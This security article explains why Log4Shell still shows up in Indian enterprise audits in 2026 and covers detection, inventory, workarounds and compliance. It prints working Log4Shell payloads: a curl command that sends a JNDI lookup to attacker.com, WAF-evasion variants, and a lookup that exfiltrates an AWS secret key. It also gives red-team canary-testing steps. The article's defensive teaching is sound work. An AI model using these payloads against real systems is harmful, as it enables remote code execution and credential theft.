Log4Shell 4 Years Later: Why It’s Still in 15% of Indian Enterprise Audits

Last updated: April 26, 2026

Log4Shell (CVE-2021-44228) was disclosed in December 2021. It is a remote code execution vulnerability in Apache Log4j 2 — a Java logging library embedded in a vast number of enterprise applications. Four years later, in 2026, we still find vulnerable Log4j on roughly 15-20% of Indian enterprise application audits. This article explains why the bug persists, the detection patterns that catch active exploitation, and the inventory discipline that closes the long tail.

The vulnerability in 60 seconds

Log4j has a feature called JNDI lookup. If you log a string that contains ${jndi:ldap://attacker.com/exploit}, Log4j will perform an LDAP lookup against attacker.com — and load and execute Java code returned from that lookup.

The vulnerability is in version 2.0-beta9 through 2.14.1. Affected: any Java application using these versions, anywhere user input reaches a log call.

The exploit:

# Attacker hosts an LDAP server with a malicious Java class
# Sends a request containing the payload in a header, parameter, or body field:
curl -H "User-Agent: \\${jndi:ldap://attacker.com:1389/Exploit}" https://target/

# Target's Log4j logs the User-Agent
# Log4j evaluates the JNDI lookup
# Loads attacker.com's Java class
# Runs it as the application's user

From an HTTP request to RCE in milliseconds.

Why it persists into 2026

• Embedded Log4j in vendor products. Hundreds of enterprise applications ship Log4j inside. The application vendor may have patched their distribution; the customer may not have updated.
• Build pipelines that pin to old versions. Maven dependencies pinned to 2.13.x for stability. Nobody updates them because “if it ain’t broke.”
• Application servers that bundle Log4j. Tomcat, JBoss, WebLogic — versions older than 2022 may have vulnerable Log4j on the classpath that overrides the application’s patched version.
• Internal applications never inventoried. The “small internal tool” written in 2018 by an intern who left, runs on a forgotten VM, has Log4j 2.10. Nobody remembers it exists until exploitation traffic shows up in logs.
• Java applications behind WAFs that “block Log4Shell” — but the WAF rules cover the obvious payload, not the encoding variants.

Modern Log4Shell payloads

Beyond the canonical ${jndi:ldap://...}, attackers use:

• Nested expressions — ${${::-j}${::-n}${::-d}${::-i}:ldap://...} evades simple string-match WAFs.
• Other JNDI providers — rmi://, dns://, iiop://, nis:// work too. WAF rules that only block ldap:// miss these.
• DNS-based exfil — even when RCE is blocked, the JNDI lookup itself triggers a DNS query to attacker-controlled domain. Used for vulnerability detection.
• Environment variable theft — ${jndi:ldap://attacker.com/?${env:AWS_SECRET_ACCESS_KEY}} exfiltrates env variables via DNS.

Detection — what works

Log4Shell exploitation leaves multiple telemetry trails:

• Outbound DNS queries from Java application processes to non-business-related external domains. The most reliable indicator. Use DNS firewall (Pi-hole-style at scale, or AWS Route 53 Resolver DNS Firewall).
• Outbound LDAP/RMI traffic from Java application processes. Almost always anomalous.
• WAF logs — match for ${jndi:, ${${, base64-encoded JNDI strings.
• Sysmon Event 3 — Java process initiating outbound TCP to ports 389 (LDAP), 1099 (RMI), 53 (DNS to external).

SIEM rule:

index=apps process_name=java*
| join type=inner outer_dns
  [search index=dns parent_process=java*]
| where dns_query NOT IN (known_business_domains)
| stats count by host, dns_query, _time

Inventory — the actual hard problem

The fix is to upgrade Log4j to 2.17.1 or later. The hard part is finding all the places it lives:

• SBOM generation — for every application and service, generate a Software Bill of Materials. Look for log4j-core dependencies. Tools: Syft, CycloneDX, OWASP Dependency-Check.
• Filesystem scan — across application servers, search for log4j-core-*.jar files. find / -name "log4j-core*.jar" 2>/dev/null. Inspect each version.
• Runtime scanning — connect to running Java processes (jstack, JMX) and inspect loaded classes. Tools like Trend Micro’s Log4j Vulnerability Tester or open-source log4shell-detector.
• Dependency tree analysis — for Maven/Gradle projects, run mvn dependency:tree | grep log4j or ./gradlew dependencies | grep log4j. Surfaces transitive dependencies.
• Container image scanning — Trivy, Grype, Snyk all detect vulnerable Log4j in container images.

Inventory is the hardest part. Run all these tools, deduplicate, and you have your remediation backlog.

Mitigation when patching is hard

If patching is genuinely blocked (vendor delay, change-control freeze, end-of-life application), workarounds:

• Set log4j2.formatMsgNoLookups=true as a Java system property. Disables the lookup feature. Effective on 2.10+.
• Remove the JndiLookup class from log4j-core JAR: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. The most reliable workaround pre-patch.
• Egress firewall rules blocking outbound LDAP, RMI, DNS to external from application servers. Stops exploitation even if the bug is present.
• WAF rules as a last resort. Block obvious payloads but expect bypasses.

Each workaround buys time. None substitute for the upgrade.

How to find your next Log4Shell exposure

For attackers (legitimate red-team):

• Test every input field in target applications with a Log4Shell canary payload that triggers a DNS lookup to your collaborator domain. If a callback arrives, the application is vulnerable.
• Burp Collaborator or DNSlog work as canaries.
• Test headers, parameters, body fields, JSON values, file metadata (uploaded filename, EXIF tags). Log4j is everywhere user input ends up logged.

For defenders:

• Run continuous SBOM generation in your CI/CD pipeline. New vulnerable Log4j entries get flagged immediately.
• Periodic filesystem scans of production hosts for Log4j JARs.
• Monitor application server processes for outbound DNS/LDAP/RMI to non-business domains.

Beyond Log4Shell — the dependency-supply-chain problem

Log4Shell is the canonical example of a class of problem: a vulnerability in a deeply-embedded library that breaks every application using it. Other examples in this class:

• Spring4Shell (CVE-2022-22965) — Spring framework RCE.
• OpenSSL Heartbleed (CVE-2014-0160) — historical canonical case.
• OpenSSL CVE-2022-0778 — DoS class.
• Various Apache Struts CVEs.
• Recent Curl CVE-2023-38545 — embedded curl in many tools.

The structural fix is dependency hygiene:

• SBOM generation in every build.
• Automated dependency-update PRs (Dependabot, Renovate).
• Fast-track patching SLAs for high-impact dependency CVEs.
• Treat embedded libraries as part of your attack surface, not infrastructure invisible to you.

Compliance angle

• SEBI CSCRF — SBOM is now an explicit requirement for material applications.
• DPDP §8(5) — known-vulnerable Log4j in production processing personal data fails reasonable-security tests.
• RBI Cyber Framework — vulnerability management with documented patching cadence.
• ISO 27001:2022 A.8.8 — management of technical vulnerabilities.

The takeaway

Log4Shell in 2026 is a test of organisational dependency discipline. The bug is patched in the upstream library. The remediation work is finding every place vulnerable versions live and fixing them. Most environments did not finish that work in 2022. The long tail — internal tools, vendor products, embedded libraries — is still vulnerable today. Run SBOM generation in your CI. Filesystem-scan production hosts. Monitor outbound LDAP/DNS from Java processes. Each step closes a percentage of the remaining exposure. Treat dependency hygiene as a permanent operational discipline, not a one-time response to a specific CVE.